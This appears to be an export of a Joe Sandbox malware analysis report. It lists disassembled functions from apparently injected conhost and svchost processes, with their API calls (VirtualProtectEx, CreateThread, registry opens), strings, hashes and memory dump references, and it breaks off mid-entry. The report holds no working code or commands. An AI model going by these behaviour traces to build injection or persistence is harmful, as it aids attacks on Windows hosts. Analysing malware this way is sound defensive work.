Opcode ID: f2d6af867017c8fdca06cc75cff9703ddcaaa443aeb9202065457787ca9ddd0f
Instruction ID: 0accb524a0873679f9104482d582f2fd253ed9c1c2239512ae5764dd9e4c6d91
Opcode Fuzzy Hash: f2d6af867017c8fdca06cc75cff9703ddcaaa443aeb9202065457787ca9ddd0f
Instruction Fuzzy Hash: 68015272520AA0D6D744DFB6F81418A77A0F74AF88F055425DE8D43739EE34C87AC741

Function 00000146F6B12DB0 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000146F6B12D9B), ref: 00000146F6B12ECC
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000146F6B12D9B), ref: 00000146F6B12F57

Memory Dump Source

Source File: 00000044.00000002.2378087271.00000146F6B01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000146F6B00000, based on PE: true

Associated: 00000044.00000002.2378064668.00000146F6B00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378118498.00000146F6B16000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378141512.00000146F6B21000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378169606.00000146F6B23000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378191960.00000146F6B29000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_146f6b00000_conhost.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: ed4da88c6f9953f7d7ff9071fd661f4bfe943a7a16315c9e976136c82c347ad5
Instruction ID: 0e08e12016bd61defbbe8237d6b1d3d71cbfc1cfc9842c1ad5f8a1bff3c12a03
Opcode Fuzzy Hash: ed4da88c6f9953f7d7ff9071fd661f4bfe943a7a16315c9e976136c82c347ad5
Instruction Fuzzy Hash: E191E132720650A5F7618F75A5A43ED2BE0F706B8CF144119DE8E676A8DB34CCABC702

Function 00000146F6B07D90 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00000146F6B07DBC
GetCurrentThreadId.KERNEL32 ref: 00000146F6B07DCA
GetCurrentProcessId.KERNEL32 ref: 00000146F6B07DD6
QueryPerformanceCounter.KERNEL32 ref: 00000146F6B07DE6

Memory Dump Source

Source File: 00000044.00000002.2378087271.00000146F6B01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000146F6B00000, based on PE: true

Associated: 00000044.00000002.2378064668.00000146F6B00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378118498.00000146F6B16000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378141512.00000146F6B21000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378169606.00000146F6B23000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378191960.00000146F6B29000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_146f6b00000_conhost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 489f61d66183c236694581db33bccd4d3439c18b3469579d7712a38510163ede
Instruction ID: 94f4ee72015eb53d8fcc1b34effccdff0e82b222a7ef4599b68f71d9d22dbede
Opcode Fuzzy Hash: 489f61d66183c236694581db33bccd4d3439c18b3469579d7712a38510163ede
Instruction Fuzzy Hash: FA113036720F0089EB00CF70F8653E933A4F71A758F441E21DAAD867A4EF78C5A98381

Function 00000146F6B02604 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000146F6B026E8
StrCpyW.SHLWAPI ref: 00000146F6B02701

Strings

\\.\pipe\, xrefs: 00000146F6B026F3

Memory Dump Source

Source File: 00000044.00000002.2378087271.00000146F6B01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000146F6B00000, based on PE: true

Associated: 00000044.00000002.2378064668.00000146F6B00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378118498.00000146F6B16000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378141512.00000146F6B21000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378169606.00000146F6B23000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378191960.00000146F6B29000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_146f6b00000_conhost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 33e1af66e0871330679004fe562d697de0fc8c89851f4c88526204be402beab6
Instruction ID: daeb79eab9180174dd6cda0250cfe031a1ee960cb524944bd89cdf5d1fd96e1d
Opcode Fuzzy Hash: 33e1af66e0871330679004fe562d697de0fc8c89851f4c88526204be402beab6
Instruction Fuzzy Hash: C471C43622078156E7789E36AB643EA6F90F786788F442116DD8D43BA9DE34CD1EC701

Function 00000146F6ADA24C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 00000146F6ADA2E7

Strings

MOC, xrefs: 00000146F6ADA2AC
RCC, xrefs: 00000146F6ADA2B5

Memory Dump Source

Source File: 00000044.00000003.2254610774.00000146F6AD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000146F6AD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_3_146f6ad0000_conhost.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: 30a9d0c0d3f57c599bda06983a5ca6919b98e12de895e70124a407b05a736fc2
Instruction ID: aaf0f605977017f6335be39714fb249238140626f5eaf0495e7230e2d3c1172b
Opcode Fuzzy Hash: 30a9d0c0d3f57c599bda06983a5ca6919b98e12de895e70124a407b05a736fc2
Instruction Fuzzy Hash: 73614936604B448AEB20DF66E4503DD77A2F345B8CF044215EF8D17BA9DB78D9AAC701

Function 00000146F6B023F8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000146F6B024DE
StrCpyW.SHLWAPI ref: 00000146F6B024F5

Strings

\\.\pipe\, xrefs: 00000146F6B024E9

Memory Dump Source

Source File: 00000044.00000002.2378087271.00000146F6B01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000146F6B00000, based on PE: true

Associated: 00000044.00000002.2378064668.00000146F6B00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378118498.00000146F6B16000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378141512.00000146F6B21000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378169606.00000146F6B23000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378191960.00000146F6B29000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_146f6b00000_conhost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: d24fa520fd7dbb7ec2b76f1d32a897148e6d9871f9771e10c0de33aaa48a33cd
Instruction ID: 9a31b4c5a1516f225182f315ce7284b607d0523926c9967d3047d3f7b2819423
Opcode Fuzzy Hash: d24fa520fd7dbb7ec2b76f1d32a897148e6d9871f9771e10c0de33aaa48a33cd
Instruction Fuzzy Hash: B451D43A22478161E6389A35B7743EA6F51F386788F442015DECD03BADDA35CC6EC745

Function 00000146F6AE2DDB Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

_log10_special.LIBCMT ref: 00000146F6AE3071

Strings

dll, xrefs: 00000146F6AE2E95

Memory Dump Source

Source File: 00000044.00000003.2254610774.00000146F6AD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000146F6AD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_3_146f6ad0000_conhost.jbxd

Similarity

API ID: _log10_special
String ID: dll
API String ID: 3812965864-1037284150
Opcode ID: f5c871aa60dc0e0ec45b8b1933c36a9d422e8a67736998cb73b4f17a378e9579
Instruction ID: fe9fec7ab9ab67d6f7eea314dbfc29fe63ecfda1a1cf18b3a3a77534df99a770
Opcode Fuzzy Hash: f5c871aa60dc0e0ec45b8b1933c36a9d422e8a67736998cb73b4f17a378e9579
Instruction Fuzzy Hash: BA614F31925F4A8DD5639B3BB5762A56718BF733C8F41D307E88F31A71DB18992B8202

Function 00000146F6B12B20 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00000146F6B12C37
GetLastError.KERNEL32 ref: 00000146F6B12C59

Strings

U, xrefs: 00000146F6B12BE3

Memory Dump Source

Source File: 00000044.00000002.2378087271.00000146F6B01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000146F6B00000, based on PE: true

Associated: 00000044.00000002.2378064668.00000146F6B00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378118498.00000146F6B16000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378141512.00000146F6B21000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378169606.00000146F6B23000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378191960.00000146F6B29000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_146f6b00000_conhost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 08a3ddd2b86f7b8515106781585b8c8a1d40bea7a265024b77d0f248b7dc9f58
Instruction ID: 647d9609b467ad9abece6d697dccfd433d36a953b604dc58754f4983228e35d4
Opcode Fuzzy Hash: 08a3ddd2b86f7b8515106781585b8c8a1d40bea7a265024b77d0f248b7dc9f58
Instruction Fuzzy Hash: F441C272324A8096DB20CF35F5543EA77A0F799798F804121EE8D877A8EB7CC85AC741

Function 00000146F6B098D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 00000146F6B09920
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,00000146F6B0850B), ref: 00000146F6B09961

Strings

csm, xrefs: 00000146F6B0994E

Memory Dump Source

Source File: 00000044.00000002.2378087271.00000146F6B01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000146F6B00000, based on PE: true

Associated: 00000044.00000002.2378064668.00000146F6B00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378118498.00000146F6B16000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378141512.00000146F6B21000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378169606.00000146F6B23000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378191960.00000146F6B29000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_146f6b00000_conhost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: d6e187f7c3a97b3215a18421b3b0fdb8c27e8d274db127c5d8f8eb200af9c340
Instruction ID: a19e81f3d3b980514e70aad81d9aafb2a67226aeb0de1b2af39fb4af706927c4
Opcode Fuzzy Hash: d6e187f7c3a97b3215a18421b3b0fdb8c27e8d274db127c5d8f8eb200af9c340
Instruction Fuzzy Hash: D5113332214B4492EB218F25F55039977E5F789B98F585224DECC07769EF3CC966C700

Function 00000146F6AD7786 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000146F6AD77AC

Strings

ctor closure', xrefs: 00000146F6AD7794
`vector constructor iterator', xrefs: 00000146F6AD77B1

Memory Dump Source

Source File: 00000044.00000003.2254610774.00000146F6AD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000146F6AD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_3_146f6ad0000_conhost.jbxd

Similarity

API ID: __std_exception_copy
String ID: `vector constructor iterator'$ctor closure'
API String ID: 592178966-3792692944
Opcode ID: 3d94f62f39723b7dc1272b79e31019e2f4db169682176d2f048e7421b3153389
Instruction ID: 75ef0eed0b0ff797fa431e9363a07a0780fe975ba2a52a702e3b0b14ed14720e
Opcode Fuzzy Hash: 3d94f62f39723b7dc1272b79e31019e2f4db169682176d2f048e7421b3153389
Instruction Fuzzy Hash: E2E086B1641B44D0DF018F32F4A02D833A1DB69B58F4891229D9C06321FA3CD5FEC301

Function 00000146F6AD77E4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000146F6AD7808

Strings

destructor iterator', xrefs: 00000146F6AD780D
ctor closure', xrefs: 00000146F6AD77F0

Memory Dump Source

Source File: 00000044.00000003.2254610774.00000146F6AD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000146F6AD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_3_146f6ad0000_conhost.jbxd

Similarity

API ID: __std_exception_copy
String ID: ctor closure'$destructor iterator'
API String ID: 592178966-595914035
Opcode ID: 178c451bf754e9b3f91433b5168c8e4fc02ede9add1333831d18f9cb102bf374
Instruction ID: e9a901b4307bf7cab164b2017e7068c222a50653ba175f00ac1707d3e9de68d2
Opcode Fuzzy Hash: 178c451bf754e9b3f91433b5168c8e4fc02ede9add1333831d18f9cb102bf374
Instruction Fuzzy Hash: 97E0E6B1651B44D0DF118F72F4A01D87365E769B58B8891229D9C46365EA3CD5FAC301

Function 00000146F6AD78EC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 11COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 00000146F6AD78F5

Strings

`scalar deleting destructor', xrefs: 00000146F6AD7911
rFeaturePresent, xrefs: 00000146F6AD78FA

Memory Dump Source

Source File: 00000044.00000003.2254610774.00000146F6AD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000146F6AD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_3_146f6ad0000_conhost.jbxd

Similarity

API ID: std::bad_alloc::bad_alloc
String ID: `scalar deleting destructor'$rFeaturePresent
API String ID: 1875163511-1689945142
Opcode ID: 825dc38fabb3a4a7c87f2f3a88ae4ed20e2ecae66053889663208d07eaa1d642
Instruction ID: 6738c7cbd96f0ca6ddeb063a1b1725e88f752d05ef666f3bcb9d4725e6cc3bef
Opcode Fuzzy Hash: 825dc38fabb3a4a7c87f2f3a88ae4ed20e2ecae66053889663208d07eaa1d642
Instruction Fuzzy Hash: 75D06772611A8495EE10EB24E8A53C96335F3A570CF904511918D41975DF6DCEAFC741

Function 00000146F6B01C34 Relevance: 5.0, APIs: 4, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000146F6B01C6D
HeapAlloc.KERNEL32 ref: 00000146F6B01C7B
GetProcessHeap.KERNEL32 ref: 00000146F6B01CA0
HeapFree.KERNEL32 ref: 00000146F6B01CAE

Memory Dump Source

Source File: 00000044.00000002.2378087271.00000146F6B01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000146F6B00000, based on PE: true

Associated: 00000044.00000002.2378064668.00000146F6B00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378118498.00000146F6B16000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378141512.00000146F6B21000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378169606.00000146F6B23000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378191960.00000146F6B29000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_146f6b00000_conhost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 138e9805673e9783fb607e1b8e779fad2fd7a8f9a8e5a925b2c8afb7781e516c
Instruction ID: 1c2a3e9e94ed130e502cac772cf8fdaa456b5085b5904982dd0b37df7485c862
Opcode Fuzzy Hash: 138e9805673e9783fb607e1b8e779fad2fd7a8f9a8e5a925b2c8afb7781e516c
Instruction Fuzzy Hash: F211C431A21B5091EB14CBB6B41825967A0F78AFC4F599024DE8D57735EF38C867C300

Function 00000146F6B01268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000146F6B0126E
HeapAlloc.KERNEL32 ref: 00000146F6B0127D
GetProcessHeap.KERNEL32 ref: 00000146F6B01297
HeapAlloc.KERNEL32 ref: 00000146F6B012A8

Memory Dump Source

Source File: 00000044.00000002.2378087271.00000146F6B01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000146F6B00000, based on PE: true

Associated: 00000044.00000002.2378064668.00000146F6B00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378118498.00000146F6B16000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378141512.00000146F6B21000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378169606.00000146F6B23000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378191960.00000146F6B29000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_146f6b00000_conhost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 82c219c6629c72d91ab1c60b28cb1fe49c35d6a1ad48fabfff97e5801092fb08
Instruction ID: fb58cfac5261358ad25856e7c583847c86ad9308e93c1e4711175c24236feb05
Opcode Fuzzy Hash: 82c219c6629c72d91ab1c60b28cb1fe49c35d6a1ad48fabfff97e5801092fb08
Instruction Fuzzy Hash: 23E0393162161086E7048B62E828389B7E1EB8BB0AF059024898907361EF7D88AED741

Function 00000146F6B01000 Relevance: 5.0, APIs: 4, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000146F6B01006
HeapAlloc.KERNEL32 ref: 00000146F6B01015
GetProcessHeap.KERNEL32 ref: 00000146F6B01028
HeapAlloc.KERNEL32 ref: 00000146F6B01037

Memory Dump Source

Source File: 00000044.00000002.2378087271.00000146F6B01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000146F6B00000, based on PE: true

Associated: 00000044.00000002.2378064668.00000146F6B00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378118498.00000146F6B16000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378141512.00000146F6B21000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378169606.00000146F6B23000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.2378191960.00000146F6B29000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_146f6b00000_conhost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 5675c379a8d9e89708cd85a835e518bb04a23da85e3639b53f95be9f51753b7f
Instruction ID: 33772ef4fba7ad59b0bdb4136208113b171a939d665c33968b9924e27a1cb50d
Opcode Fuzzy Hash: 5675c379a8d9e89708cd85a835e518bb04a23da85e3639b53f95be9f51753b7f
Instruction Fuzzy Hash: D4E0ED7162155096E7089B62E818299B7A1FB8BB1AF459024C94907321EE3888BED611

Analysis Process: svchost.exePID: 928, Parent PID: 3820COMMON

Executed Functions

Function 0000014E41FD3620 Relevance: 4.5, APIs: 3, Instructions: 39
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 0000014E41FD3639
PathFindFileNameW.SHLWAPI ref: 0000014E41FD3648

Part of subcall function 0000014E41FD3C74: StrCmpNIW.KERNELBASE(?,?,?,0000014E41FD254B), ref: 0000014E41FD3C8C

Part of subcall function 0000014E41FD3BC0: GetModuleHandleW.KERNEL32(?,?,?,?,?,0000014E41FD365F), ref: 0000014E41FD3BCE
Part of subcall function 0000014E41FD3BC0: GetCurrentProcess.KERNEL32(?,?,?,?,?,0000014E41FD365F), ref: 0000014E41FD3BFC
Part of subcall function 0000014E41FD3BC0: VirtualProtectEx.KERNEL32(?,?,?,?,?,0000014E41FD365F), ref: 0000014E41FD3C1E
Part of subcall function 0000014E41FD3BC0: GetCurrentProcess.KERNEL32(?,?,?,?,?,0000014E41FD365F), ref: 0000014E41FD3C39
Part of subcall function 0000014E41FD3BC0: VirtualProtectEx.KERNEL32(?,?,?,?,?,0000014E41FD365F), ref: 0000014E41FD3C5A

CreateThread.KERNELBASE ref: 0000014E41FD368F

Part of subcall function 0000014E41FD1D40: GetCurrentThread.KERNEL32 ref: 0000014E41FD1D4B

Memory Dump Source

Source File: 00000045.00000002.3450162698.0000014E41FD1000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true

Associated: 00000045.00000002.3450007037.0000014E41FD0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.3450405001.0000014E41FE6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.3450622589.0000014E41FF1000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.3450819633.0000014E41FF3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.3451030485.0000014E41FF9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_14e41fd0000_svchost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: f925565bd7d4be1ed18a10d933f5cc473e240d0c1127f16e8bee8d0f787d3ad7
Instruction ID: c4e3f1745bf8363e0ff9384758f9882cad879df2634dc25eb8363bf84f8cff4a
Opcode Fuzzy Hash: f925565bd7d4be1ed18a10d933f5cc473e240d0c1127f16e8bee8d0f787d3ad7
Instruction Fuzzy Hash: B71148F071464186FF60AB60AA0DBFDA7E1BFA4755F5C41269607C16F5EFBCC00A8A21

Function 0000014E41FD3C74 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.KERNELBASE(?,?,?,0000014E41FD254B), ref: 0000014E41FD3C8C

Strings

dialer, xrefs: 0000014E41FD3C85

Memory Dump Source

Source File: 00000045.00000002.3450162698.0000014E41FD1000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true

Associated: 00000045.00000002.3450007037.0000014E41FD0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.3450405001.0000014E41FE6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.3450622589.0000014E41FF1000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.3450819633.0000014E41FF3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.3451030485.0000014E41FF9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_14e41fd0000_svchost.jbxd

Similarity

API ID:
String ID: dialer
API String ID: 0-3528709123
Opcode ID: 97321a65610e08eab14ba81d351fc46d427cdee9015788b38818b6b16ac0c562
Instruction ID: 2c0cbaed9e2be54d8f34c9294cea5bd4d7cf0b86e6eec5f607e76d21ac988424
Opcode Fuzzy Hash: 97321a65610e08eab14ba81d351fc46d427cdee9015788b38818b6b16ac0c562
Instruction Fuzzy Hash: 32D05EB0311B498AFF349FA288CC6F0A3D0BF04719F8D40208A0181624D719C98E8630

Function 0000014E41FA2AC0 Relevance: 1.7, APIs: 1, Instructions: 240libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE ref: 0000014E41FA2C32

Memory Dump Source

Source File: 00000045.00000003.2231913807.0000014E41FA0000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000014E41FA0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_3_14e41fa0000_svchost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8f72cda2533f8c81468787ed5508378e1f4737ebbed7a3ee8edbd934de0862d8
Instruction ID: a8755421c84c26c3c9157201e2a2b6b915c202e797dbc96cdedb25e74d6b8551
Opcode Fuzzy Hash: 8f72cda2533f8c81468787ed5508378e1f4737ebbed7a3ee8edbd934de0862d8
Instruction Fuzzy Hash: 7891117270169087EF648F95D048BA9B3D1FB54BE4F5C81249F0A87BA9DA38D853C760

Function 0000014E41FD1AC8 Relevance: 1.6, APIs: 1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000014E41FD1628: GetProcessHeap.KERNEL32 ref: 0000014E41FD1633
Part of subcall function 0000014E41FD1628: HeapAlloc.KERNEL32 ref: 0000014E41FD1642
Part of subcall function 0000014E41FD1628: RegOpenKeyExW.ADVAPI32 ref: 0000014E41FD16B2
Part of subcall function 0000014E41FD1628: RegOpenKeyExW.ADVAPI32 ref: 0000014E41FD16DF
Part of subcall function 0000014E41FD1628: RegCloseKey.ADVAPI32 ref: 0000014E41FD16F9
Part of subcall function 0000014E41FD1628: RegOpenKeyExW.ADVAPI32 ref: 0000014E41FD1719
Part of subcall function 0000014E41FD1628: RegCloseKey.ADVAPI32 ref: 0000014E41FD1734
Part of subcall function 0000014E41FD1628: RegOpenKeyExW.ADVAPI32 ref: 0000014E41FD1754
Part of subcall function 0000014E41FD1628: RegCloseKey.ADVAPI32 ref: 0000014E41FD176F
Part of subcall function 0000014E41FD1628: RegOpenKeyExW.ADVAPI32 ref: 0000014E41FD178F
Part of subcall function 0000014E41FD1628: RegCloseKey.ADVAPI32 ref: 0000014E41FD17AA
Part of subcall function 0000014E41FD1628: RegOpenKeyExW.ADVAPI32 ref: 0000014E41FD17CA

SleepEx.KERNELBASE ref: 0000014E41FD1AE3

Part of subcall function 0000014E41FD1628: RegCloseKey.ADVAPI32 ref: 0000014E41FD17E5
Part of subcall function 0000014E41FD1628: RegOpenKeyExW.ADVAPI32 ref: 0000014E41FD1805
Part of subcall function 0000014E41FD1628: RegCloseKey.ADVAPI32 ref: 0000014E41FD1820
Part of subcall function 0000014E41FD1628: RegOpenKeyExW.ADVAPI32 ref: 0000014E41FD1840
Part of subcall function 0000014E41FD1628: RegCloseKey.ADVAPI32 ref: 0000014E41FD185B
Part of subcall function 0000014E41FD1628: RegOpenKeyExW.ADVAPI32 ref: 0000014E41FD187B
Part of subcall function 0000014E41FD1628: RegCloseKey.ADVAPI32 ref: 0000014E41FD1896
Part of subcall function 0000014E41FD1628: RegCloseKey.ADVAPI32 ref: 0000014E41FD18A0

Memory Dump Source

Source File: 00000045.00000002.3450162698.0000014E41FD1000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true

Associated: 00000045.00000002.3450007037.0000014E41FD0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.3450405001.0000014E41FE6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.3450622589.0000014E41FF1000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.3450819633.0000014E41FF3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.3451030485.0000014E41FF9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_14e41fd0000_svchost.jbxd

Similarity

API ID: CloseOpen$Heap$AllocProcessSleep
String ID:
API String ID: 948135145-0
Opcode ID: 65153283aa6c96ced916157d2f86422634ff98b4549c9c2683df96b80b9c3d6c
Instruction ID: 0bf38f625baa4da5b2f8a37b5dd4c850af0574279057b7cf903c9f482d4796ef
Opcode Fuzzy Hash: 65153283aa6c96ced916157d2f86422634ff98b4549c9c2683df96b80b9c3d6c
Instruction Fuzzy Hash: 2331F971718A0182FF509B66DA593FAA3E4BF84BD0F4C51219E4BC76B6EF64C8528370

Non-executed Functions

Function 0000014E41FA9D74 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 0000014E41FA9DD1

Part of subcall function 0000014E41FAAC44: __GetUnwindTryBlock.LIBCMT ref: 0000014E41FAAC87
Part of subcall function 0000014E41FAAC44: __SetUnwindTryBlock.LIBVCRUNTIME ref: 0000014E41FAACAC

Is_bad_exception_allowed.LIBVCRUNTIME ref: 0000014E41FA9EA9
